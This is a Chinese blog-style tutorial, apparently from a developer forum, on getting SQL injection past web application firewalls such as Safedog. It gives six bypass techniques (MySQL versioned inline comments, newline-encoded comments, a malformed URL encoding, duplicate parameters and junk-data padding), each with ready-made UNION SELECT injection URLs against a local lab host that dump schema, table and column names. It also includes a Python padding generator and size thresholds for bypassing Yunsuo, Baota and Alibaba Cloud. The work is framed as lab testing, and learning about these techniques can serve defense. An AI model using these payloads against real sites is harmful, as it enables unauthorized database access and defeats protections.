提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
前言
总结下自己常用的sql注入绕waf方法
一、环境搭建?
windows 10 操作系统
1,phpstudy2016
2,安全狗最新版,(切记以管理员身份启动安全狗)
二、方法
1.内联注释(/![12345]/)绕过方法:
/!select/: 相当于没有注释
/!12345select/: 当12345小于当前mysql版本号的时候,注释不生效,当大于版本号的时候注释生效。
/![]/: []中括号中的数字若填写则必须是5位
例子:http://192.168.31.142/safedog/bihuo.php?tel=1' or -1/*!11544order/*!11544by/*!11544*/1--+
http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union/*!11544select/*!115441,2,3,4,group_concat(schema_name),6*/from information_schema.schemata--+
http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union /*!11544select/*!115441,2,3,4,/*!11544group_concat(/*!11544table_name),6/*!11544from/*!11544information_schema.tables/*!11544where/*!11544table_schema=/*!11544database/*!11544()*/--+
http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union /*!11544select/*!115441,2,3,4,/*!11544group_concat(/*!11544table_name),6/*!11544from/*!11544information_schema.tables/*!11544where/*!11544table_schema=/*!11544database/*!11544()*/--+
2.第二种绕过方法,内联注释另类思想绕过
传统的方法使用内联注释都是使用 /!12345select/ 去注释SQL关键字符来进行绕waf,那么为什么非得注释关键字呢,她是美女么?有我们必火的小女生好看吗? 如果不是美女,也没我们的小女生好看,那能不能不注释关键字,注释点别的好不好?
代码如下(示例):
http://192.168.31.142/safedog/bihuo.php?tel=1'union/*!88888www.hacker.wang*/
select 1,2,3,4, group_concat(column_name),6 from information_schema.columns where table_schema=database () and
/*!88888www.hacker.wang*/table_name=0x7573657273 --+
解析:
图中两处 /!88888www.hacker.wang/ 即可绕狗 :88888 肯定大于当前啊版本号,所以注释内容不执行,等于没有加这句话,不影响程序运行。
下面的表名要换成16进制。
注意database()中间有个空格
3.第三种绕过方法,%0a绕过
示例:
http://192.168.31.142/safedog/bihuo.php?tel=1'
union -- www.hacker.wang%0aselect 1, 2,3,4, group_concat(column_name),6
from information_schema.columns where table_schema=database () and
-- www.hacker.wang%0a table_name=0x7573657273--+
解析:
–:表示注释,在mysql中真正的注释是"-- ",这里必须有个空格,否则不是注释,%0a是换行的url编码,换号后,表示重新查询,前面的注释对后面的语句将不再影响,这也要注意,
database空格()这里,中间有个空格
4.第四种绕过方法,特殊的URL编码绕过安全狗
示例:
http://192.168.31.142/safedog/bihuo.php?tel=1' union/*%!a*/select 1,2,3,4,
group_concat(column_name),6 from information_schema.columns
where table_schema=database () and table_name in (0x7573657273) --+
解析:
此处%!a是一个错误的url编码,但这个编码比较特殊,可以绕狗,其他则不行。
这里的table_name 要 改成 table_name in (0x7573657273) 这种格式
database() 中间有个空格 database空格()
5.url另类传参绕过
示例:
http://192.168.31.142/safedog/bihuo.php?tel=1&bihuo=/*&tel=1'union select 1,2,3,4,
group_concat(column_name),6 from information_schema.columns
where table_schema=database() and table_name='users' --+*
当url参数出现两个同名参数时,将取最后一个参数的值,所以这里会取后面的tel的值,前面传参/,后面/闭合:
绕过分析:安全狗误以为/**/是注释的内容所以全部忽略。
6.垃圾数据填充
用脚本生成的垃圾数据进行填充绕过:
#coding=utf-8
import random,string
from urllib import parse
varname_min = 5
varname_max = 15
data_min = 20
data_max = 25
num_min = 50
num_max = 100
def randstr(length):
str_list = [random.choice(string.ascii_letters) for i in range(length)]
random_str = ''.join(str_list)
return random_str
def main():
data={}
for i in range(num_min,num_max):
data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
print('&'+parse.urlencode(data)+'&')
main()
生成垃圾数据 当如果是POST型就直接把垃圾数据放到你要注入的字段前后,如果是GET型就把他转为POST型再放垃圾数据。
目前为止的bypass测试数据:
云锁:30KB
宝塔:30KB
阿里云:200+键值对

186

被折叠的 条评论
为什么被折叠?



